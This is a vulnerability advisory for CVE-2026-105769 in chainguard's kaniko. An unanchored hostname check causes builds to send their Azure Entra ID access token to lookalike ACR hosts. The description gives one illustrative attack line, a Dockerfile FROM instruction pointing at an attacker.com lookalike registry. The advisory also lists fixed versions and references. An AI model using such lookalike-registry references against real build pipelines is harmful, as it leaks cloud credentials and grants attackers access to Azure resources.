Vulnerability · Published Nov 2, 2026 · Assigned by chainguard
CVE-2026-105769kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Critical 9.3
In plain English
A critical-severity security flaw in kaniko from chainguard. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 0.2% (higher than 9% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.
Official description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Affected packages & fixed versions
| Ecosystem | Package | Fixed in | Advisory |
|---|---|---|---|
| Go | github.com/chainguard-dev/kaniko | 1.25.20 | GHSA-5q7h-w9jf-cx97 |
| Go | github.com/chainguard-dev/kaniko | 1.25.20 | GO-2026-6902 |
Affected products (as reported)
| Vendor | Product | Versions |
|---|---|---|
| chainguard | kaniko | 0 – before 1.25.20 |
Weakness: CWE-346, CWE-522 · Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
References
- GHSA-5q7h-w9jf-cx97 vendor-advisory
- https://github.com/chainguard-forks/kaniko/pull/495 patch
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 release-notes
- https://github.com/chrismellard/docker-credential-acr-env/issues/21 issue-tracking
- GO-2026-6225 third-party-advisory